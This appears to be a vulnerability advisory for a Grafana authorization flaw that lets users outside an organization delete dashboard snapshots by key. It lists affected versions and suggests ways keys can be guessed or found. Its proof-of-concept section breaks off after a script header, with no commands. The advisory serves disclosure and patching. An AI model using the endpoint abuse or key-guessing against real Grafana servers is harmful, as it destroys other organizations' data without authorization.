Grafana: Users outside an organization can delete a snapshot with its key in github.com/grafana/grafana. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/grafana/grafana from v9.5.0 before v9.5.18, from v10.0.0 before v10.0.13, from v10.1.0 before v10.1.9, from v10.2.0 before v10.2.6, from v10.3.0 before v10.3.5.
### Summary The ***DELETE /api/snapshots/{key}*** endpoint allows any Grafana user to delete snapshots if the user is NOT in the organization of the snapshot ### Details An attacker (a user without organization affiliation or with a "no basic role" in an organization other than the one where the dashboard exists), knowing the key or URL of a snapshot created by any user (including Grafana admins), can delete a snapshot (It is not feasible using UI), resulting in a BOLA vulnerability. If an attacker is in the same organization of the dashboard snapshot, he can’t delete the snapshot. However, an attacker with low-privilege from a different organization would be able to delete it, resulting in the authorization flaw.  ### Precondition To exploit this endpoint, an attacker must know the {key} of a snapshot. The attacker can potentially discover this key in various ways. When [creating a snapshot through the API](https://grafana.com/docs/grafana/latest/developers/http_api/snapshot/), users can manually specify a key without any complexity requirements. This lack of complexity makes this key susceptible to brute force attacks. For example, simplistic keys such as "customer_key_123" or "admin_snap" can be easily guessed. These predictable keys allow low-privileged attackers to perform brute-force attacks using common keywords, potentially leading to compromised data integrity. In addition, this key is displayed in plain text in the URL of a snapshot. This means that if a user publicly displays a snapshot, viewers might note down the key. Furthermore, since the snapshot feature is often used for sharing, displaying, and backing up data, a low-privileged attacker could potentially find snapshot keys in places like the organization's content management system, messaging platform, or shared documents. ### PoC ``` #!/bin/bash -x # /snapshots/{key}: {'delete': {'success_status_code': 200, 'exec_paths': ['post /snapshots']}} #

It is possible for a user in a different organization from the owner of a snapshot to bypass authorization and delete a snapshot by issuing a DELETE request to /api/snapshots/<key> using its view key. This functionality is intended to only be available to individuals with the permission to write/edit to the snapshot in question, but due to a bug in the authorization logic, deletion requests issued by an unprivileged user in a different organization than the snapshot owner are treated as authorized. Grafana Labs would like to thank Ravid Mazon and Jay Chen of Palo Alto Research for discovering and disclosing this vulnerability. This issue affects Grafana: from 9.5.0 before 9.5.18, from 10.0.0 before 10.0.13, from 10.1.0 before 10.1.9, from 10.2.0 before 10.2.6, from 10.3.0 before 10.3.5.
